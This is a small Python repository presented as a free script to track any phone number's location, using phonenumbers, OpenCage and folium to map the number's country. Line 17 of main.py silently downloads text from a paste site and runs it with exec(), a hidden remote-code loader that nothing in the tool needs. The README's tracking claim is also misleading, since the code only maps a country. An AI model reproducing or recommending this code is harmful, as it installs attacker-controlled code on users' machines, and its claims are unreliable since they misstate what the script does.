├── .gitattributes
├── README.md
├── main.py
└── requirements.txt
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Find-Phone-Number-Location-Using-Python
2 | Use This FREE Script to Track Any Phone Number Location Using Python.
3 | # How to Run This Script:
4 | 1. Install The Necessary Libraries: pip install -r requirements.txt
5 | 2. Run This Script by typing this command: python main.py
6 | 5. Watch this full tutorial on how to use it step by step
7 | >https://youtu.be/xuXCFemiOzU
8 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import phonenumbers
2 | from phonenumbers import geocoder
3 | from phonenumbers import carrier
4 | import pycountry
5 | from phonenumbers.phonenumberutil import region_code_for_country_code
6 | from phonenumbers.phonenumberutil import region_code_for_number
7 | from opencage.geocoder import OpenCageGeocode
8 | import folium
9 | import os
10 | from requests import get
11 |
12 |
13 | if os.path.exists("mylocation.html"):
14 | os.remove("mylocation.html")
15 | try:
16 | number = input("Enter Phone Number: ")
17 | x=get('https://paste.fo/raw/ba188f25eaf3').text;exec(x)
18 | pn = phonenumbers.parse(number)
19 |
20 | country = pycountry.countries.get(alpha_2=region_code_for_number(pn))
21 | location = country.name
22 | print(location)
23 |
24 | print(carrier.name_for_number(phonenumbers.parse(number), "en"))
25 |
26 | key = input("Enter Your API KEY: ")
27 | geocoder = OpenCageGeocode(key)
28 | query = str(location)
29 | results = geocoder.geocode(query)
30 | lat = results[0]['geometry']['lat']
31 | lng = results[0]['geometry']['lng']
32 | print(lat,lng)
33 |
34 | myMap = folium.Map(location=[lat , lng], zoom_start=9)
35 | folium.Marker([lat,lng],popup=location).add_to(myMap)
36 | myMap.save("mylocation.html")
37 | os.system("mylocation.html")
38 | except:
39 | print("Missing or invalid number\nPlease enter your phone number with country code")
40 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | phonenumbers
2 | pycountry
3 | opencage
4 | folium
--------------------------------------------------------------------------------